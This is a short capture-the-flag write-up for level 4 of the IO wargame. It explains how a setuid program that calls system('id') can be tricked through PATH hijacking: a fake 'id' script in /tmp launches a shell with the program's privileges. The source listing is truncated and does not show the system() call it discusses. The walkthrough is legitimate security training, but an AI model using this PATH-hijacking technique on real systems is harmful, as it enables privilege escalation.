Level 4, IO STS

Let’s take a look at level04.c

#include <stdlib.h>

int main() {
   return 0;

We don’t have much to work with here. Looking up the manual entry of system.

SYSTEM(3)                 Linux Programmer's Manual                 SYSTEM(3)

       system - execute a shell command

       #include <stdlib.h>

       int system(const char *command);

       system() executes a command specified in command by calling /bin/sh -c
       command, and returns after the command  has  been  completed.   During
       execution  of  the  command,  SIGCHLD  will be blocked, and SIGINT and
       SIGQUIT will be ignored.

It looks like system("id"); will call /bin/sh -c id. How does /bin/sh know where to look for the program id? There’s an environment variable called PATH where /bin/sh will look for id in the paths.

level4@io:/levels$ echo $PATH

As you can see, there are a couple of paths that is in the environment variable. /bin/sh will first look in /usr/local/bin for a program named id, followed by /usr/bin, then /bin and so on. Let’s see if we can add our own paths to it.

level4@io:~$ PATH=/levels/
level4@io:~$ echo $PATH
level4@io:~$ ls
-bash: ls: command not found

We just overwritten the PATH environment variable and now even the command ls could not be found. Okay, now you know how paths work, lets try to get level04 to run our id program.

level4@io:/levels$ mkdir /tmp/level4
level4@io:/levels$ echo 'echo Win! && sh' > /tmp/level4/id
level4@io:/levels$ chmod +x /tmp/level4/id
level4@io:/levels$ PATH=/tmp/level4:$PATH
level4@io:/levels$ ./level04
sh-4.2$ whoami

Here’s what we did:

  1. We created a new directory in /tmp.
  2. Wrote echo Win! && sh into a file id in that new directory.
  3. Made id executable.
  4. Modified PATH to check our new directory first for the program id

Stanley Tan